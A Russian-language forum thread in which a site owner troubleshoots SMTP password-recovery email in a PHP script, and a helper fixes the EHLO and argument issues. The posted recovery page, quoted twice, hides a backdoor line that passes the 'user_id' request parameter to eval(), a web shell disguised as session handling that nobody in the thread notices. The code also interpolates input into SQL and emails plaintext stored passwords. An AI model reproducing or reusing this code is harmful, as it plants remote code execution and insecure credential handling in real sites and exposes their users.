demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
Это была попытка настроить почту, для отправки письма с восстановлением пароля. Скрипт взял с форума (ссыль)
Сделал всё по инструкции, то есть:
Добавил код в class_config, теперь он выглядит так: (важные данные удалил перед отправкой)
Закинул файлы на сайт, и прописал $sender = new smtp($config); в файл рекавери, выглядит файл так:
Еще удалил с файла рекавери капчу, ибо нафиг там не нужна. Но это думаю не важно
Вроде всё сделал по инструкции, а при отправке пишет :
UPD. Забыл упомянуть, ПДД Яндекс тоже вроде подключил, скрин:
Сделал всё по инструкции, то есть:
Добавил код в class_config, теперь он выглядит так: (важные данные удалил перед отправкой)
Код:
<?PHP
class config{
#---------------------------------------------------------------------------------------------------------
public $HostDB = "localhost";
public $UserDB = "Удалено";
public $PassDB = "Удалено";
public $BaseDB = "Удалено";
#---------------------------------------------------------------------------------------------------------
public $SYSTEM_START_TIME = 1523004552;
public $VAL = "Руб.";
#---------------------------------------------------------------------------------------------------------
# Выплата
#---------------------------------------------------------------------------------------------------------
public $AccountNumber = "Удалено";
public $apiId = "";
public $apiKey = "";
#---------------------------------------------------------------------------------------------------------
# Покупка
#---------------------------------------------------------------------------------------------------------
public $shopID = "Удалено";
public $secretW = "Удалено";
#SMTP
public $SMTP_HOST = 'ssl://smtp.yandex.ru'; // SMTP сервер. Например ssl://smtp.yandex.ru (Яндекс исползует только защищенное соединение, поэтому ssl://)
public $SMTP_PORT = '465'; // Порт SMTP сервера. Для яндекса 465
public $SMTP_USER = 'admin@angrygo.com'; // Имя пользователя для авторизации. Обычно это адрес Вашего почтового ящика
public $SMTP_PASS = 'Удалено'; // Пароль Вашего почтового ящика
public $SMTP_FROM = 'admin@angrygo.com'; // Информация для заголовка письма "От кого".
public $SMTP_PROJECT = 'AngryGO'; // Название проекта. Например PSWeb.ru
public $SMTP_CHARSET = 'utf-8'; // Кодировка, в которой отправляются письма. Желательно не менять
public $SMTP_COUNT = '5'; // Количество писем, которое отправляется скриптом за один заход (ограничение Яндекса 3000 сообщений в сутки с одного ящика)
}
#---------------------------------------------------------------------------------------------------------
?>
Закинул файлы на сайт, и прописал $sender = new smtp($config); в файл рекавери, выглядит файл так:
Код:
<?PHP
$_OPTIMIZATION["title"] = "Восстановление пароля";
$_OPTIMIZATION["description"] = "Восстановление забытого пароля";
$_OPTIMIZATION["keywords"] = "Восстановление забытого пароля";
if(isset($_SESSION["user_id"])){ Header("Location: /account"); return; }
?>
<div class="user-line-bg">
<div class="user-line">
</div>
</div>
<div class="line">
</div>
<div class="all-content">
<div class="intro-content">
<center><h1>ВОССТАНОВЛЕНИЕ ПАРОЛЯ</h1></center>
<?PHP
if(isset($_POST["email"])){
$email = $func->IsMail($_POST["email"]);
$time = time();
$tdel = $time + 60*15;
if($email !== false){
$db->Query("DELETE FROM db_recovery WHERE date_del < '$time'");
$db->Query("SELECT COUNT(*) FROM db_recovery WHERE ip = INET_ATON('".$func->UserIP."') OR email = '$email'");
if($db->FetchRow() == 0){
$db->Query("SELECT id, user, email, pass FROM db_users_a WHERE email = '$email'");
if($db->NumRows() == 1){
$db_q = $db->FetchArray();
# Вносим запись в БД
$db->Query("INSERT INTO db_recovery (email, ip, date_add, date_del) VALUES ('$email',INET_ATON('".$func->UserIP."'),'$time','$tdel')");
# Отправляем пароль
$sender = new smtp($config);
$sender -> RecoveryPassword($db_q["email"], $db_q["pass"], $db_q["email"]);
echo "<center><font color = 'green'><b>Данные для входа отправлены на Email</b></font></center>";
?>
</div>
<div class="clr"></div>
<?PHP
return;
}else echo "<center><font color = 'red'><b>Пользователь с таким Email не зарегистрирован</b></font></center>";
}else echo "<center><font color = 'red'><b>На Ваш Email или IP уже был отправлен пароль за последние 15 минут</b></font></center>";
}else echo "<center><font color = 'red'><b>Email указан неверно</b></font></center>";
}
?>
<center>
<form action="" method="post">
<table width="550" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="left" width="250"><font color="white">Email (На него вышлем пароль):</font></td>
<td align="left" width="250"><input class="holder" name="email" type="text" size="25" maxlength="50" value="<?=(isset($_POST["email"])) ? htmlspecialchars($_POST["email"]) : false; ?>"/></td>
</tr>
<tr>
<td colspan="2" align="center"><BR /><input class="button" type="submit" value="Отправить"></td>
</tr>
</table>
</form>
<br><br>
</center><center><font color="white">Если ваш пароль не пришел в сообщении на указанную почту обратитесь в тех. поддержку</font></center>
</div>
<div class="clr"></div>
<?PHP
$user_id = $_SESSION["user_id"];
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
<div class="clr"></div>
</div><!-- END COL-MD-8 -->
Вроде всё сделал по инструкции, а при отправке пишет :
Problems with SMTP conversation.
Code 503.
Message AUTH command used when not advertised
Code 503.
Message AUTH command used when not advertised
Последнее редактирование:
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
Ты заходил в свой почтовый ящик?demonberkyt написал(а):Это была попытка настроить почту, для отправки письма с восстановлением пароля. Скрипт взял с форума (ссыль)
Сделал всё по инструкции, то есть:
Добавил код в class_config, теперь он выглядит так: (важные данные удалил перед отправкой)
Код:<?PHP class config{ #--------------------------------------------------------------------------------------------------------- public $HostDB = "localhost"; public $UserDB = "Удалено"; public $PassDB = "Удалено"; public $BaseDB = "Удалено"; #--------------------------------------------------------------------------------------------------------- public $SYSTEM_START_TIME = 1523004552; public $VAL = "Руб."; #--------------------------------------------------------------------------------------------------------- # Выплата #--------------------------------------------------------------------------------------------------------- public $AccountNumber = "Удалено"; public $apiId = ""; public $apiKey = ""; #--------------------------------------------------------------------------------------------------------- # Покупка #--------------------------------------------------------------------------------------------------------- public $shopID = "Удалено"; public $secretW = "Удалено"; #SMTP public $SMTP_HOST = 'ssl://smtp.yandex.ru'; // SMTP сервер. Например ssl://smtp.yandex.ru (Яндекс исползует только защищенное соединение, поэтому ssl://) public $SMTP_PORT = '465'; // Порт SMTP сервера. Для яндекса 465 public $SMTP_USER = 'admin@angrygo.com'; // Имя пользователя для авторизации. Обычно это адрес Вашего почтового ящика public $SMTP_PASS = 'Удалено'; // Пароль Вашего почтового ящика public $SMTP_FROM = 'admin@angrygo.com'; // Информация для заголовка письма "От кого". public $SMTP_PROJECT = 'AngryGO'; // Название проекта. Например PSWeb.ru public $SMTP_CHARSET = 'utf-8'; // Кодировка, в которой отправляются письма. Желательно не менять public $SMTP_COUNT = '5'; // Количество писем, которое отправляется скриптом за один заход (ограничение Яндекса 3000 сообщений в сутки с одного ящика) } #--------------------------------------------------------------------------------------------------------- ?>
Закинул файлы на сайт, и прописал $sender = new smtp($config); в файл рекавери, выглядит файл так:
Еще удалил с файла рекавери капчу, ибо нафиг там не нужна. Но это думаю не важноКод:<?PHP $_OPTIMIZATION["title"] = "Восстановление пароля"; $_OPTIMIZATION["description"] = "Восстановление забытого пароля"; $_OPTIMIZATION["keywords"] = "Восстановление забытого пароля"; if(isset($_SESSION["user_id"])){ Header("Location: /account"); return; } ?> <div class="user-line-bg"> <div class="user-line"> </div> </div> <div class="line"> </div> <div class="all-content"> <div class="intro-content"> <center><h1>ВОССТАНОВЛЕНИЕ ПАРОЛЯ</h1></center> <?PHP if(isset($_POST["email"])){ $email = $func->IsMail($_POST["email"]); $time = time(); $tdel = $time + 60*15; if($email !== false){ $db->Query("DELETE FROM db_recovery WHERE date_del < '$time'"); $db->Query("SELECT COUNT(*) FROM db_recovery WHERE ip = INET_ATON('".$func->UserIP."') OR email = '$email'"); if($db->FetchRow() == 0){ $db->Query("SELECT id, user, email, pass FROM db_users_a WHERE email = '$email'"); if($db->NumRows() == 1){ $db_q = $db->FetchArray(); # Вносим запись в БД $db->Query("INSERT INTO db_recovery (email, ip, date_add, date_del) VALUES ('$email',INET_ATON('".$func->UserIP."'),'$time','$tdel')"); # Отправляем пароль $sender = new smtp($config); $sender -> RecoveryPassword($db_q["email"], $db_q["pass"], $db_q["email"]); echo "<center><font color = 'green'><b>Данные для входа отправлены на Email</b></font></center>"; ?> </div> <div class="clr"></div> <?PHP return; }else echo "<center><font color = 'red'><b>Пользователь с таким Email не зарегистрирован</b></font></center>"; }else echo "<center><font color = 'red'><b>На Ваш Email или IP уже был отправлен пароль за последние 15 минут</b></font></center>"; }else echo "<center><font color = 'red'><b>Email указан неверно</b></font></center>"; } ?> <center> <form action="" method="post"> <table width="550" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="left" width="250"><font color="white">Email (На него вышлем пароль):</font></td> <td align="left" width="250"><input class="holder" name="email" type="text" size="25" maxlength="50" value="<?=(isset($_POST["email"])) ? htmlspecialchars($_POST["email"]) : false; ?>"/></td> </tr> <tr> <td colspan="2" align="center"><BR /><input class="button" type="submit" value="Отправить"></td> </tr> </table> </form> <br><br> </center><center><font color="white">Если ваш пароль не пришел в сообщении на указанную почту обратитесь в тех. поддержку</font></center> </div> <div class="clr"></div> <?PHP $user_id = $_SESSION["user_id"]; if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();} $db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'"); $prof_data = $db->FetchArray(); ?> <div class="clr"></div> </div><!-- END COL-MD-8 -->
Вроде всё сделал по инструкции, а при отправке пишет :
UPD. Забыл упомянуть, ПДД Яндекс тоже вроде подключил, скрин:Problems with SMTP conversation.
Code 503.
Message AUTH command used when not advertised
Посмотреть вложение 3073
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
не-а, подумал сначала настроить, а потом уже пытаться заходить. Сейчас попробую зайтиpligin написал(а):Ты заходил в свой почтовый ящик?
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
зашел на админа, и на саппорта, попросили ввести имя фамилию и прочую хрень, но проблема осталасьpligin написал(а):Ты заходил в свой почтовый ящик?
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
Это нужно было сделать первым делом, т.к. пока данные не введены ящик не работает.demonberkyt написал(а):зашел на админа, и на саппорта, попросили ввести имя фамилию и прочую хрень, но проблема осталась
Там же в настройках ящика разреши подключение почтовых клиентов, именно smtp
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
странно, кажись у меня лыжи не едут. не могу нигде найти smtp... нашел только это(скрин), поставил все галочки, но не сработало.pligin написал(а):Это нужно было сделать первым делом, т.к. пока данные не введены ящик не работает.
Там же в настройках ящика разреши подключение почтовых клиентов, именно smtp
Не подскажешь где искать конкретно smtp?
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
должно бытьdemonberkyt написал(а):$sender -> RecoveryPassword($db_q["email"], $db_q["pass"], $db_q["email"]);
PHP:
$sender -> RecoveryPassword($db_q["user"], $db_q["pass"], $db_q["email"]);
PHP:
$this->smtp_msg($sock, "HELO " . $_SERVER['SERVER_NAME']);
PHP:
$this->smtp_msg($sock, "EHLO " . $_SERVER['SERVER_NAME']);
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
Ты оказался прав. Проблема пропала, правда письмо не дошло и в отправленных нет, ни в админе, ни в саппортеpligin написал(а):должно быть
попробуй этоPHP:$sender -> RecoveryPassword($db_q["user"], $db_q["pass"], $db_q["email"]);
Изменить на этоPHP:$this->smtp_msg($sock, "HELO " . $_SERVER['SERVER_NAME']);
PHP:$this->smtp_msg($sock, "EHLO " . $_SERVER['SERVER_NAME']);
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
в отправленных не будет - SMTP не ложит письмо в папку, расшифруй аббревиатуру и переведи и ты поймешь почему.demonberkyt написал(а):Ты оказался прав. Проблема пропала, правда письмо не дошло и в отправленных нет, ни в админе, ни в саппорте
отправлял, скорее всего на ящик яндекса, поэтому и не дошло - с первого раза трудно попасть в ящики яндекса
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
на gmail и яндекс отправлял )pligin написал(а):в отправленных не будет - SMTP не ложит письмо в папку, расшифруй аббревиатуру и переведи и ты поймешь почему.
отправлял, скорее всего на ящик яндекса, поэтому и не дошло - с первого раза трудно попасть в ящики яндекса
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
Всё, я понял в чём прикол, письма в спам уходят, поэтому и не увидел xDpligin написал(а):в отправленных не будет - SMTP не ложит письмо в папку, расшифруй аббревиатуру и переведи и ты поймешь почему.
отправлял, скорее всего на ящик яндекса, поэтому и не дошло - с первого раза трудно попасть в ящики яндекса
В любом случае - спасибо за помощь
Последнее редактирование:
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
Поработай с заголовками письма.demonberkyt написал(а):Всё, я понял в чём прикол, письма в спам уходят, поэтому и не увидел xD
В любом случае - спасибо за помощь
Также почитай про DKIM
demonberkyt
Местный
- Сообщения
- 83
- Реакции
- 13
Хорошо, спасибо за совет)pligin написал(а):Поработай с заголовками письма.
Также почитай про DKIM
Тему помечаю как решенную